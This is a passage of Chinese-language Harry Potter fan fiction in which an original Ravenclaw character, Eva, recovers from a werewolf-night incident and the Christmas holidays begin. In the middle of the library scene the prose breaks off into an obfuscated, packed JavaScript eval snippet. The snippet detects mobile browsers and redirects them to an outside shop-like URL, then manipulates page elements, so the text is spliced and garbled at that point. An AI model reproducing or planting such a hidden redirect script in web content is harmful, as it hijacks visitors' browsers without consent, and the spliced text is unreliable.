她没有看Eva,而是望着远处的禁林。“霍格沃茨是个好地方,但也是个复杂的地方。不同学院,不同背景,不同立场……有时候,一点小小的‘不同’,就可能被放大成需要警惕的‘异常’。” Eva安静地听着,没有接话。 “我是拉文克劳,但我的父母来自香港,我在英国长大。”秋继续说,语气平静得像在陈述天气,“我知道那种感觉——站在两个世界之间,既不属于这边,也不完全属于那边。有时候需要展示‘融合’,有时候又需要强调‘独特’。很累,但没办法,这就是我们的生活。” 她终于转过头,看向Eva:“你比我更特别。你的背景,你的能力,你昨晚展现的东西……所有这些,在某些人眼里,可能不仅仅是‘特别’,而是‘需要被监管的变量’。” 这话和斯内普的警告如出一辙。但秋的语气里没有审视,只有关切。 “斯内普教授的地窖劳动,不完全是惩戒。”秋的声音更轻了,“也是在划清界限。告诉你,也告诉其他人:你的‘异常’被注意到了,被纳入了‘体系’的监管之下。只要你遵守规则,在划定的范围内活动,就不会有问题。” 她停顿了一下,目光落在Eva手腕上——那里,玉佩在袖口下露出一角温润的光泽。 “但有些东西,是体系无法完全监管的。”秋轻声说,“比如你的根基,你的传承。那些东西属于你自己,是你的一部分。不要因为别人的审视,就否认它们,或者强行将它们塞进别人设定的框架里。” 风更大了,吹乱了秋的黑发。她将发丝拢到耳后,露出一个温和却坚定的笑容。 “我只是想告诉你:你做得很好了。至于那些议论,那些审视……它们会过去的。霍格沃茨每天都有新的话题,学生们很快就会把注意力转向别处。” “谢谢秋。”Eva轻声说。 秋点了点头,没有再说什么。两人并肩站在天文塔边缘,望着远处逐渐沉入暮色的城堡和森林。风依旧在呼啸,带着苏格兰高地冬日特有的、刺骨的寒意。 远处,霍格沃茨的钟声敲响了,浑厚而悠长,在暮色中层层回荡,像是为这一天,也为所有尚未到来的日子,标下一个沉静的注脚。 84.冬日的余烬 圣诞节假期前剩下的日子像一块被反复捶打的铁,在寒冷和寂静中缓慢延展。庭院里的积雪被施了魔法,白天融化到恰好能行走,入夜又重新凝结成冰壳,反射着城堡窗户透出的、稀疏的灯火。 尖叫棚屋事件后的第一周,霍格沃茨笼罩在一种近乎窒息的紧绷里。魔法部官员像一群烦躁的乌鸦,黑袍翻飞地出入城堡,威森加摩的代表团在校长室一待就是几个小时。费尔奇得意洋洋地展示着新增的“安全条例”——禁止夜间在走廊停留超过三分钟,禁止未经许可靠近打人柳周边五十英尺区域,禁止任何形式的夜间集会——用他那嘶哑的声音反复宣读,仿佛这些禁令能抹去那个满月之夜的混乱。 课堂变得异常沉默。学生们小心翼翼地避免提及任何相关话题,教授们也默契地加快了授课节奏,试图用繁重的作业和密集的考试淹没那些不安的窃窃私语。只有黑魔法防御术课的变动最为明显——卢平教授辞职后,麦格教授暂时接替了,内容回归到最基础的防御理论,严谨得像在修补一道破损的堤坝。 Eva的恢复缓慢而谨慎。庞弗雷夫人的银色药剂每天准时送来,带着清冽的草药气息。她能感觉到体内那股“炁”的流动比之前更加艰涩,像冬日冻土下尚未完全冻结的细流,每一次调息都需要极致的耐心。经脉深处的撕裂感渐渐转为一种持续的、细微的滞痛,像瓷器上尚未弥合的裂痕。 斯内普教授的地窖劳动尚未开始——庞弗雷夫人坚持要她“至少静养满一周”,可能是圣诞假期之后。但那位魔药学教授的目光,在走廊偶遇时,总是格外冰冷而锐利,仿佛她已经是一个被标记的、需要持续观察的实验样本。 关于那晚的传闻,在最初的喧嚣后,开始分化、变形,融入霍格沃茨永不停歇的流言蜚语中。最离谱的版本——比如“拉文克劳女生用黑色火焰烧死了狼人”——已经无人当真;但一些更微妙、更贴近事实核心的议论,却像水银般渗入了各个学院的角落。 在拉文克劳,多数讨论集中在学术层面。 “《中级变形术》第七章提到,极端情绪状态下,咒语效果可能发生不可预测的变异,”安东尼·戈德斯坦在公共休息室的炉火旁推了推眼镜,对几个三年级学生分析道,“张当时面临狼人威胁,产生应激性魔法变异是完全合理的。至于火焰颜色……可能与环境光线或她自身魔力特性有关。” 帕德玛安静地听着,没有加入讨论,只是偶尔看向Eva常坐的靠窗位置,眼神里有关切,也有一种拉文克劳式的、尊重隐私的克制。 曼蒂则对那些“变异魔法”的细节充满好奇,但被帕德玛几次用眼神制止后,也学会了把问题咽回肚子里,转而兴奋地规划起圣诞假期的安排——她终于说服父母,这个圣诞可以留在学校“体验霍格沃茨的传统”。 而在斯莱特林地窖,议论的角度截然不同。 公共休息室的银绿色炉火旁,气氛比平时更加微妙。关于那晚事件的讨论从未真正停止,但总是压得很低,带着斯莱特林特有的、夹杂着利益考量和家族立场的审慎。 “我父亲说,魔法部对那晚的‘异常魔法现象’很关注。”布雷司·沙比尼懒洋洋地靠在沙发上,手里把玩着那枚金加隆,目光若有若无地瞟向壁炉另一侧,“尤其是涉及到……非传统魔法体系的应用。” 潘西·帕金森立刻接话,声音刻意拔高了些:“要我说,一个三年级学生能挡住狼人?肯定用了什么违规的魔法!我爸爸说,有些东方巫师会些见不得人的——” “帕金森。” 德拉科·马尔福的声音不高,却像冰锥一样刺穿了潘西的话。他坐在壁炉边最好的扶手椅上,手里拿着一本《高级魔药制作》,但书页已经很久没有翻动。苍白的脸上没什么表情,灰蓝色的眼睛盯着炉火跳跃的焰心。 “你父亲还说过,在公开场合妄议他国魔法体系是极其失礼且愚蠢的行为。”他的声音平静得近乎冷漠,“尤其是在毫无证据的情况下。” 潘西的脸涨红了,嘴唇翕动了几下,最终悻悻地闭上嘴,低头摆弄起自己的指甲油。 西奥多·诺特坐在稍远些的位置,安静地翻着一本关于古代炼金术的典籍,仿佛周遭的一切都与他无关。但布雷司注意到,诺特翻页的手指停顿的时间,比平时长了几秒。 克拉布和高尔笨拙地坐在马尔福旁边,试图理解这场对话的潜台词,最终放弃,开始小声讨论起明天早餐会不会有培根。 壁炉里的火焰噼啪作响,将银绿色的光影投在每个人脸上。 关于那晚另一个细节——马尔福和Eva一起出现在露天走廊,后来还有人看到马尔福“拉着她跑”——的议论,则更加隐蔽,更像一种心照不宣的猜测。 几个低年级斯莱特林女生在角落窃窃私语: “……你们看到那天早上的《预言家日报》了吗?上面提到‘有学生目击并协助阻止了事件恶化’,但没点名……” “我听说格兰芬多那边在传,是波特和韦斯莱他们……” “但我表姐在拉文克劳,她说她们级长私下说,当时现场不止格兰芬多的人。” “那马尔福……” “嘘!小声点!” 声音压得更低,几乎成了气音。 “乔治和弗雷德·韦斯莱说他们看到……” “看到什么?” “看到马尔福……和那个拉文克劳的女生,一起从露天走廊跑回城堡。就在狼人扑上来之后。” 短暂的沉默。然后是更谨慎的议论: “不可能吧……马尔福怎么会……” “也许只是碰巧?” “但有人看到是他拉着她跑的……” “梅林,这太奇怪了。他不是很讨厌她吗?魔药课上总是……” “也许……也许他只是不想看到有人死在自己面前?毕竟那是狼人……” 这个解释听起来苍白无力。在斯莱特林的价值体系里,“不想看到有人死”从来不是优先选项。更合理的推测开始悄然滋生——也许马尔福是在评估风险,或者……有别的考量。 但这些猜测从未真正浮出水面。因为当事人之一——德拉科·马尔福本人——表现得仿佛那晚的一切都与他无关。 当有人试探性地问起“那天晚上你在哪儿”时,他会用那种惯有的、拖长的腔调回答:“在哪儿?当然是在城堡里。难道我会蠢到在满月夜跑去庭院散步?” 当潘西或其他人试图将话题引向“那个拉文克劳用的奇怪魔法”时,他会立刻用更刻薄的评论转移焦点——“至少她没像隆巴顿那样把自己的坩埚炸了,不是吗?” 而当流言开始隐约涉及“有人看到你和……”时,他会猛地抬起眼皮,灰蓝色的眼睛里瞬间结冰:“扎比尼,如果你闲得发慌,可以去帮斯内普教授清洗蟾蜍内脏。或者,需要我提醒你,散布关于纯血家族继承人的不实传闻,会有什么后果?” 那眼神里的警告太清晰,太冰冷。布雷司·沙比尼识趣地摊了摊手,嘴角挂着那抹玩味的弧度,没再继续这个话题。其他人也迅速学会了避开这个雷区。 但回避本身,就是一种默认。斯莱特林公共休息室的银绿色光影里,关于那晚的真相和德拉科·马尔福的真正立场,成了一个所有人都知道存在、却无人敢公开谈论的谜。 只有偶尔,在深夜的地窖走廊,当马尔福独自返回宿舍时,他会下意识地看向左手手臂——那里已经没有任何伤痕,巴克比克留下的爪痕在生骨灵和庞弗雷夫人的技艺下早已消失无踪。但他仍能感觉到一种幻痛,不是来自伤口,而是来自那晚露天走廊上,抓住Eva手臂时,她袍袖下传来的、细微却清晰的颤抖。 还有那片暗红色的、贴着地面诡异燃烧的火焰。 他会猛地甩甩头,把这个画面驱逐出脑海,加快脚步,仿佛身后有什么看不见的东西在追赶。 周四下午,Eva终于被允许离开城堡范围,在庞弗雷夫人的严格监督下,去温室进行一些“轻度活动”——帮助斯普劳特教授给几株耐寒的魔法植物松土。 温室里比外面温暖得多,潮湿的泥土和植物气息混合在一起,带着生命特有的、蓬勃的暖意。Eva蹲在一盆正在休眠的毒触手旁,用小铲子小心地松动板结的土壤。她的动作很慢,很稳,但能感觉到每一次弯腰时,胸腔深处传来的细微滞痛。 “很好,张小姐,”斯普劳特教授温和的声音从旁边传来,“就是这样,轻柔些。毒触手虽然休眠了,但根系还是很敏感。” Eva点了点头,继续手中的工作。汗水顺着额角滑下来,不是因为热,而是体力不支的征兆。她停下来,用袖子擦了擦汗,目光无意间扫过温室窗外。 庭院里,几个学生正在积雪中玩耍。金妮·韦斯莱和几个格兰芬多女生在堆一个巨大的雪人,笑声清脆得像玻璃铃铛。不远处,哈利、罗恩和赫敏坐在一张被清理干净的长椅上,正低声讨论着什么——大概是关于布莱克和彼得的审判进展。哈利的眉头紧锁,绿眼睛里满是沉重的思虑。 再远些,靠近禁林边缘的地方,Eva看到了另一个身影。 德拉科·马尔福独自站在那里,裹着那件银绿色的厚重斗篷。他没有参与任何活动,只是望着禁林方向,侧脸在冬日稀薄的阳光下显得格外苍白。克拉布和高尔不在他身边,潘西也不在。他就那样站着,背脊挺直,姿态却透着一股与周遭欢乐格格不入的孤寂。 他似乎在观察什么——也许是禁林边缘那些被积雪压弯的树枝,也许是更远处打人柳模糊的轮廓。然后,他转过身,准备返回城堡。 就在转身的刹那,他的目光无意间扫过温室,与窗内的Eva对上了。 距离很远,隔着覆满水汽的玻璃,其实看不清彼此的表情。但那一瞬间,马尔福的脚步几不可察地顿了一下。灰蓝色的眼睛在阳光下微微眯起,像是确认了什么,又像只是被反光刺到。 然后,他迅速移开视线,下颌线绷紧,加快了离开的步伐。银绿色的斗篷下摆在积雪中划出一道利落的弧线,很快消失在城堡主楼的阴影里。 整个过程不到三秒。 但Eva清楚地记得那个眼神——不是平时那种刻意为之的傲慢或讥讽,而是一种更复杂的、近乎空洞的平静。像是在确认她还在这里,还在进行着最普通的日常活动,没有因为那晚的事彻底倒下。 “张小姐?”斯普劳特教授的声音把她拉回现实,“你还好吗?脸色有点苍白。” “我没事,教授。”Eva轻声说,重新拿起小铲子,“只是有点累了。” “那就休息一下。”斯普劳特教授关切地说,“恢复期不能着急。来,喝点热茶。” 她递给Eva一杯用魔法保温的花草茶。Eva接过,小口啜饮。温热的液体带着甘菊和薄荷的清香,暂时驱散了体内的寒意。 窗外,哈利他们也起身返回城堡了。金妮的雪人已经堆好,戴着一顶歪斜的礼帽,用石子拼出的笑容在阳光下显得憨态可掬。 温室里重新安静下来,只有植物生长的细微声响,和远处隐约传来的钟声。 周六早晨,留校学生名单正式公布。 拉文克劳公共休息室的布告栏前挤满了人。曼蒂踮着脚,手指划过羊皮纸上的名字:“丽莎·杜平……回家。帕德玛·佩蒂尔……留校!太好了!秋·张……留校。迈克尔·科纳……回家……” 她继续往下找,突然欢呼一声:“Eva Zhang——留校!我也留校!我们可以一起过圣诞节了!” 帕德玛也露出了笑容:“我妈妈本来想让我回去,但爸爸说旅途太折腾,而且……现在外面也不太安全。” Eva看着自己的名字。妈妈的信上周就到了,措辞比以往更加谨慎:“考虑到你近期的身体状况,以及城堡目前相对‘有序’的环境(我们知道邓布利多教授加强了守卫),我们认为这个假期留在霍格沃茨静养是最稳妥的选择。圣诞礼物会通过国际飞路网寄送,记得查收。” 稳妥。有序。静养。 这些词像柔软的蚕丝,将她包裹在一个安全的茧里。她应该感到安心——家人为她考虑得如此周全,教授们为她调整了课程和安排,连朋友们都在默契地避免追问那晚的细节。 但不知为何,心里某个角落却泛起一丝细微的、连她自己都难以名状的窒闷。像是站在一扇明亮的玻璃窗前,能看到外面的世界,却触碰不到风。 午餐时,城堡里的节日气氛开始真正显现。 礼堂被施了魔法,天花板的星空变成了飘雪的深蓝色夜幕,十二棵巨大的圣诞树沿着四张长桌摆放,树上挂满了会发光的金色铃铛、会变换颜色的魔法蜡烛,以及许多蹦蹦跳跳的小仙子。空气中弥漫着烤栗子、肉桂和松针的香气。 “看!”曼蒂兴奋地指着格兰芬多长桌上空,“那是韦斯莱兄弟弄的吗?” 几只魔法制造的金色小猫头鹰正在格兰芬多区域盘旋,时不时俯冲下来,从学生们的餐盘里叼走一小块烤土豆或香肠,引起阵阵笑闹和惊呼。弗雷德和乔治站在长桌尽头,手里拿着魔杖,脸上是如出一辙的、恶作剧得逞的坏笑。 斯莱特林长桌则显得矜持许多。他们的圣诞树上装饰着银绿色的绸带和精致的冰晶,几个高年级学生正在低声讨论着什么,表情严肃。德拉科·马尔福独自坐在靠边的位置,面前的食物没动多少。他的目光偶尔扫过礼堂,在拉文克劳方向短暂停留,又迅速移开,脸上没什么表情,但下颌线绷得有些紧。 哈利、罗恩和赫敏坐在格兰芬多长桌中段。哈利正努力对罗恩说着什么——罗恩的腿还打着绷带,脸上却带着难得的、真实的笑容。赫敏在一旁翻着一本小册子,但嘴角也噙着笑意。自从彼得被抓、布莱克案件出现转机后,三个人之间的紧绷感明显缓解了。 “他们看起来好多了。”帕德玛轻声说。 Eva点了点头。她能理解那种重压突然卸下一部分的感觉——即使前路依然迷雾重重,但至少脚下的路变得清晰了些。 下午,Eva决定去图书馆。不是查资料,而是想找个安静的地方写完麦格教授要求的“事件陈述报告”。 平斯夫人看到她时,罕见地没有投来锐利的目光,只是点了点头,示意她自便。 Eva在靠窗的老位置坐下,摊开羊皮纸和羽毛笔。窗外的雪又下了起来,细密的雪花在灰白的天幕中无声飘落,像是要将城堡和远山连成一片混沌的苍白。 她提起笔,开始书写。 陈述需要客观、简洁、符合“官方视角”。她描述了时间、地点、目击到的场景——哈利三人从打人柳方向跑出,黑狗出现并变形为布莱克,卢平教授出现并在月光下变成狼人。然后是她施咒的原因(“试图阻挡狼人靠近同学”)、咒语的效果(“火焰熊熊,但由于紧张和身体状况,效果出现异常”)、以及后续发展(“教授们及时赶到”)。 没有提到火焰的颜色和特性。没有提到马尔福。没有提到储藏室的对话。也没有提到体内“炁”的消耗和经脉的撕裂。 这是一份安全的、经得起审查的陈述。它回答了所有该回答的问题,回避了所有可能引发更多疑问的细节。 写完后,她放下笔,看着羊皮纸上工整的字迹。墨迹很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069996|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干涸,留下黑色的、确定的痕迹。像一道清晰的界线,将那个混乱的、充满恐惧与抉择的夜晚,框定在可控的叙述框架内。 就在这时,图书馆的门被轻轻推开了。 哈利·波特走了进来。他裹着厚厚的格兰芬多围巾,脸颊被寒风吹得微红,绿眼睛在图书馆昏暗的光线下显得格外明亮。看到Eva,眼睛亮了一下,随即快步走了过来。 “Eva。”他的声音压得很低,“你在写报告?” Eva点了点头,将羊皮纸对折。“差不多写完了。” 哈利在她对面的椅子坐下,动作有些局促。他搓了搓冻红的手,目光在图书馆里扫视了一圈,确认周围没人,才压低声音说:“我……我刚从猫头鹰棚屋回来。小天狼星——布莱克的律师回信了。” 他的声音里带着一种压抑的兴奋:“他们说威森加摩同意重启案件调查!彼得被关在魔法部特别牢房,摄魂怪之吻暂时搁置。邓布利多教授作证,还有卢平教授留下的证词……如果一切顺利,小天狼星可能……可能真的能被证明清白。” 他说“小天狼星”时,语气已经自然了许多。那个曾经代表背叛和谋杀的名字,现在成了他父母最好的朋友,一个被冤枉了十二年的囚徒。 “那很好。”Eva轻声说。 哈利点了点头,但绿眼睛里的兴奋很快被一层更深的情绪覆盖。“但是……卢平教授走了。”他的声音低了下去,“今天早上,我和罗恩、赫敏去他办公室收拾东西,已经空了。他只留了张纸条,说谢谢我们,还说……他为我们骄傲。” 他说这话时,手指无意识地摩挲着桌面的木纹。“他是个好老师。最好的。可是……” 可是他是狼人。这个“可是”后面,是魔法界根深蒂固的偏见,是斯内普代课时那些刻意强调的“天性”,是卢平自己选择离开时那份沉重的无奈。 “他教了我们很多……”哈利顿了顿,声音有些哽,“不仅仅是咒语。” 这声感慨很轻,却沉甸甸地落在两人之间的寂静里。Eva看着哈利低垂的、仍带着少年稚气的侧脸,那上面刻着一种过早来临的、对成人世界复杂与不公的领悟。 “他确实是。”她轻声应和,没有说更多安慰的话。有时候,简单的认同比任何劝解都更有力量。 “那天晚上,”他忽然说,声音更轻了,“如果不是你……我可能等不到知道这些真相。” 这不是第一次感谢,但这一次,他的语气里少了之前那种沉重的负罪感,多了一种更真实的、朋友间的感激。 “你们已经说过很多次谢谢了,”Eva无奈地说,“我们是朋友。” 哈利扯出一个笑容:“你说的对。” 窗外的雪下得更大了。图书馆里很安静,只有远处平斯夫人整理书架的细微声响。 “你的报告……”哈利看了一眼桌上对折的羊皮纸,“斯内普教授有没有……为难你?” 这个问题问得很小心。Eva摇了摇头:“没有。只是需要陈述事实。” 哈利点了点头,似乎松了口气。“那就好。麦格教授说,等所有报告收齐,魔法部会做最终评估。不过……”他犹豫了一下,“斯内普教授好像对那晚的火焰很在意。他在问其他目击的学生,有没有注意到什么‘异常特征’。” Eva的手指几不可察地收紧了一下。“他说是魔法变异。” “变异。”哈利重复这个词,绿眼睛里闪过一丝复杂的神色,“有时候我觉得,霍格沃茨最怕的不是黑魔法,而是……不理解的东西。” 这话说得一针见血。Eva没有说话,只是看着窗外飘落的雪。 “我要走了。”哈利站起身,动作还有些僵硬——那晚的坠落和后续的紧张显然留下了痕迹,“赫敏和罗恩在公共休息室等我,我们要商量假期计划。布莱克的律师说,如果案件进展顺利,圣诞节后可能安排一次探视……我想去。” 他说这话时,语气里有种小心翼翼的期待。像是在黑暗的隧道里走了太久,终于看到尽头隐约的光。 “路上小心。”Eva说。 哈利点了点头,转身离开。深红色的袍角在书架间一闪,消失在图书馆深处。 Eva又在图书馆坐了一会儿,直到窗外的天色彻底暗沉下来。她收起写好的报告,起身离开。 回到拉文克劳塔楼时,公共休息室里已经点起了壁炉。丽莎正在打包行李——她明天一早就要离校回家过圣诞,她给弟弟妹妹们带了很多糖果。 “Eva!”曼蒂看到她,眼睛立刻亮了,“你回来了!” 帕德玛凑近仔细看了看她的脸色:“你看起来比去之前更累了。要不要先休息一下?” “我没事。”Eva摇了摇头,目光落在窗外逐渐暗沉的天色上,“你们圣诞礼物准备好了吗?” “差不多了。”曼蒂兴奋地说,“妈妈答应给我买那件我一直想要的斗篷!还有,每个人都有礼物哦,不过要等到圣诞节早上!” 她凑过来,压低声音,眼睛亮晶晶的:“Eva,你有没有给……嗯……准备礼物啊?” 这个问题问得很模糊,但Eva听懂了潜台词。曼蒂在问她有没有给马尔福准备礼物——自从那晚的传闻后,这个拉文克劳女孩的好奇心就再也按捺不住了。 “曼蒂。”帕德玛的声音带着警告。 “我只是问问嘛!”曼蒂撅起嘴,“毕竟他那天晚上……我是说,毕竟你们一起……” “一起什么也没有。”Eva无奈地打断她,“只是恰好都在那里。” 曼蒂还想说什么,但看到帕德玛严肃的眼神和Eva平静却不容置疑的表情,最终把话咽了回去,嘟囔着做了个鬼脸。 Eva没有说谎。她和马尔福之间确实“什么也没有”——没有友谊,没有谅解,只有一场基于互相保守秘密的临时交易。至于礼物…… 她的目光落在自己床头柜上。那里除了几本书和常用的羽毛笔,还放着一个小木盒——里面是暑假时妈妈寄来的那套文房四宝。砚台、墨锭、毛笔、宣纸,都是江南老匠人的手艺。 她想起那瓶“恒久之蓝”墨水,想起那盒巧克力,想起储藏室里那句“谢谢你的礼物”。 也许……应该回礼。不是出于感谢,而是出于某种更基本的、属于她自己教养的礼节——收到礼物,应当回赠。至于对方是否在意,是否接受,那是另一回事。 但送什么? 她想了想,最终从行李箱里拿出一小包东西——那是暑假在“静心茶舍”,老板娘送她的那罐桂花米糕的配方。老板娘当时说:“这是我自己琢磨的方子,不算什么秘传,但味道还算地道。你拿回去,想家的时候就照着做做看。” Eva抄录了一份配方,用素净的米白色纸仔细包好,系上一根深蓝色的细绳。没有署名,没有卡片,只是一份简单的、关于味道的分享。 这足够了。一份来自东方的点心配方,换一瓶昂贵的羽毛笔保养墨水,从价值上当然不对等。但礼物的意义,从来不在价格。 她将小纸包收进抽屉深处。等到圣诞节之前,就像普通的礼物那样。 窗外,夜色彻底降临了。城堡各处的灯火陆续亮起,在积雪的庭院中投下温暖的光晕。远处禁林的轮廓融入深蓝的夜幕,像一道沉默的、永恒的边界。 明天,圣诞假期正式开始。大部分学生会离校回家,城堡将陷入一年中最寂静的时段。而对于留校的少数人来说,这将是漫长的两周——没有课程,没有作业,只有空旷的走廊、寂静的公共休息室,以及那些尚未消散的秘密和等待。 85.冬幕与回响 圣诞假期前的最后一天,雪终于停了。 清晨的阳光穿透云层,将霍格沃茨庭院里的积雪照得一片金灿灿,每一道冰棱都折射出细碎的光。城堡仿佛被裹进一层厚实而柔软的白色绒毯,连石墙上最尖锐的棱角都被温柔地包裹起来。 门厅里已经热闹非凡。学生们拖着行李箱走向大门,准备乘坐马车前往霍格莫德车站。空气里弥漫着离别的喧嚣和回家的雀跃——高年级学生互相拍着肩膀约定返校后魁地奇球场见,低年级学生兴奋地讨论着家里的圣诞大餐。 “丽莎,路上小心!”曼蒂踮着脚朝门口挥手。丽莎·杜平正拖着那只明显用了多年的行李箱往外走,闻言回头笑了笑,深褐色的长发在晨光中扬起。 “我会的!这些是我昨天在厨房帮忙时做的姜饼人,”她从怀里掏出几个用油纸仔细包好的小包裹,递给Eva、曼蒂和帕德玛,“给,每个人都有。家养小精灵教我的,虽然样子不太好看,但味道应该还不错。” Eva接过包裹,能闻到透过油纸散发出的、甜蜜的肉桂和蜂蜜香气。“谢谢丽莎。替我向你妈妈问好,也祝你假期愉快。” “她一定会很高兴的。”丽莎点头,脸上闪过一丝不易察觉的疲惫——家里弟弟妹妹需要帮忙照料,这个假期对她而言意味着更多的家务。但她还是朝她们挥了挥手,拖着行李箱汇入人流。她是他们寝室里唯一回家的,尽管回家意味着忙碌,但也意味着炉火旁拥挤的温暖。 远处,格兰芬多三人组也在门厅。赫敏正严肃地核对一张长长的羊皮纸清单,罗恩拖着行李箱一脸期待——韦斯莱家的陋居总是热闹非凡,更别提今年还有小天狼星案件重审带来的、某种压抑的兴奋。哈利站在他们旁边,绿眼睛望着门外等候的马车,表情有些复杂。布莱克案件的正式重审听证会定在一月初,这个假期他需要和律师见面,还要去圣芒戈看望在治疗中的布莱克——太多沉重的东西压在这个十三岁男孩的肩上,让“回家”这个词失去了往日的单纯意义。 “哈利,马车要满了!”罗恩推了推他。 哈利回过神,朝拉文克劳这边看了一眼。目光与Eva短暂交汇,他微微点了点头——那眼神里有未尽的话语,大概关于感谢,关于假期后的约定,也关于某种沉重的、正在缓慢展开的真相。然后他转身,和朋友们一起拖着行李箱走出城堡大门。 马车一辆辆驶离,在积雪上留下深深的车辙。橡木大门开合间灌进阵阵寒风,也带走了大部分喧嚣。随着最后一批学生离开,门厅陡然安静下来,那空旷的回响反而让留下的少数人更觉冷清。 “我们也去礼堂吧。”帕德玛轻声说,拉起曼蒂和Eva,“早餐时间快过了。” 拉文克劳长桌这边,留校的人比预想的稍多。秋·张正和几个朋友低声讨论着什么,注意到Eva进来,朝她点头微笑。曼蒂已经坐下,面前摆着热气腾腾的燕麦粥。 “我爸爸妈妈今年要去维也纳参加国际炼金术研讨会,”曼蒂一边涂黄油一边说,语气里没什么遗憾,“所以我就留下啦!反正霍格沃茨的圣诞大餐听说特别棒。” 帕德玛点点头,没多说什么。作为国际魔法合作司官员的女儿,父母因公务缺席假期对她而言是常态。 Eva在她们旁边坐下,小口喝着温热的南瓜汁。丹田深处仍能感到一丝滞涩的牵绊——那是经脉强行运转后尚未平复的痕迹。庞弗雷夫人的银色药剂还剩三天份量,清冽的草药气息已经成为她呼吸的一部分。 “你今天感觉怎么样?”帕德玛轻声问,目光关切地扫过她的脸。 “好多了。”Eva点点头。这是实话,至少那种深层的空乏感不再像最初那样,每次呼吸都像在磨损什么脆弱的东西。 “那就好。”帕德玛将一小碟涂抹好的面包片推到她面前。 就在这时,猫头鹰们涌了进来。 白色的雪鸮、棕色的谷仓猫头鹰、灰色的角鸮……它们像一片片被风吹起的落叶,盘旋着落入已经空旷许多的礼堂。素雪精准地降落在Eva面前的餐盘边缘,琥珀色的眼睛明亮如常。它嘴里叼着一封淡青色的信,还有一个小小的、用细绳扎好的包裹。 “辛苦你了。”Eva轻声说,接过信件和包裹,喂给它几粒坚果。素雪满意地咕咕两声,振翅飞向猫头鹰棚屋方向。 淡青色的信封上,爷爷的字迹苍劲有力。Eva小心拆开,细细阅读。 丽华吾孙: 见字如晤。 汝母已将庞弗雷夫人诊断详情转述于我。经脉受损,本源动摇,此非小事。万幸救治及时,未伤根本,然恢复需时,切不可心急。 随信附上药囊两枚。蓝囊日间佩于胸前,可助行气活血;白囊夜间置于枕下,有安神定魄之效。此乃按古方新配,药材皆采自江南冬月,性温润,合汝此时体质。 另,汝前信提及“炁”脉滞涩,此乃强行催动后必然之症。近日打坐时,当以意念轻抚受损之处,如春风拂冰,徐徐化之。切不可再行冲击,否则旧伤未愈,新创又生,恐成沉疴。 寒假漫长,正是静养良机。无课业之累,无琐事之扰,当以调息为要。三餐按时,勿贪凉,勿熬夜。霍格沃茨藏书甚丰,可阅些养性怡情之典籍,莫再研读那些耗神费力的艰深魔法。 江南已入深冬,老宅庭前梅花初绽。家中诸事皆安,勿念。 待春日回暖,再议归期。 祖父字 冬月廿三 Eva将信仔细折好,又拆开包裹。里面是两个丝绸缝制的药囊,一深蓝一月白,凑近能闻到清雅的草药气息,混合着江南冬日特有的、清冽的草木香。她将蓝色药囊贴身收好,白色药囊则小心放入袍子内袋。 “家里来信了?”曼蒂好奇地探头。 “嗯。”Eva点点头,“爷爷寄了些调养的药材。” “你爷爷真好。”曼蒂羡慕地说,“我爷爷只会问我考试成绩怎么样,然后寄一堆复习资料过来。” 就在她们低声交谈时,礼堂入口处又有人走进来。 德拉科·马尔福。 他独自一人,身后没有克拉布和高尔。潘西·帕金森也不在。他穿着银绿色校袍外罩着黑色旅行斗篷,领口别着马尔福家徽的银质胸针。当他经过拉文克劳长桌时,脚步没有任何停顿,灰蓝色的眼睛平视前方,脸上是那种惯有的、被训练得无懈可击的淡漠表情。但就在他即将走过时,下颌线几不可察地绷紧了一瞬——那是某种刻意压制的本能反应,随即恢复如常。 他移开视线,径直走向斯莱特林长桌。那里已经坐了几个留校的学生——布雷司·扎比尼正懒洋洋地靠在椅背上,端着一杯南瓜汁;西奥多·诺特安静地翻阅着一本厚重的典籍;还有两个低年级生正拘谨地小口吃着面包。彼得·佩迪鲁案件的重审和布莱克案的翻案,让魔法部许多官员的圣诞假期泡了汤,连带他们的子女也只能留在学校。 马尔福在长桌中部的惯常位置坐下,背脊挺直,开始慢条斯理地用餐。布雷司·沙比尼朝他投来一个意味深长的目光,嘴角挂着惯有的玩味弧度,但马尔福没有回应,只是专注地切着盘子里的烤香肠,仿佛周遭的一切都与他无关。 早餐后,留校的学生们陆续离开礼堂。Eva和帕德玛、曼蒂走向拉文克劳塔楼。庭院里的积雪在阳光下闪闪发亮,几个低年级赫奇帕奇学生正在堆一个巨大的雪獾,欢笑声在冰冷的空气中显得格外清脆。 “我们要不要也堆个雪鹰?”曼蒂眼睛发亮,“就堆在塔楼窗户能看到的地方!” “可以试试。”帕德玛微笑,“但得先找工具。” 她们在庭院角落找到了几把被遗忘的铲子——大概是哪个学生离开前匆忙丢下的。曼蒂立刻兴奋地开始规划雪鹰的造型。 午后的阳光斜斜地照进庭院。Eva、曼蒂和帕德玛忙碌着。她在旁边帮忙递雪球——庞弗雷夫人严禁她近期进行任何可能牵动经脉的活动,包括弯腰铲雪。但这样递个不费力的雪球也很好,阳光暖洋洋地照在身上,蓝色药囊贴在胸前,传来温和的、持续的热意。 雪鹰的雏形逐渐显现。展翅的姿态,昂起的头颅。帕德玛用魔杖小心地塑形,曼蒂则负责压实积雪。 就在这时,庭院另一端传来脚步声。 西弗勒斯·斯内普正沿着主路朝城堡主楼方向走去,黑袍在积雪中拖出一道清晰的痕迹。他看到三个拉文克劳女生和她们的雪鹰时,脚步几不可察地顿了一下。黑眼睛扫过雪鹰,扫过曼蒂和帕德玛,最后定格在Eva身上。 那目光像冰锥,带着毫不掩饰的审视。 Eva站起身。她能感觉到斯内普的视线在她脸上停留了几秒,像是在评估她的恢复状况——脸色是否依旧苍白,站姿是否稳当,呼吸是否平稳。然后他的目光移向她胸前——那里,蓝色药囊在袍子下微微隆起,隐约散发着草药的清冽气息。 “张小姐。”斯内普的声音像磨过的刀刃,“医疗翼允许你进行户外活动了?” “是的,教授。”Eva的声音平稳,“庞弗雷夫人说适度的日照和新鲜空气有助于恢复。” 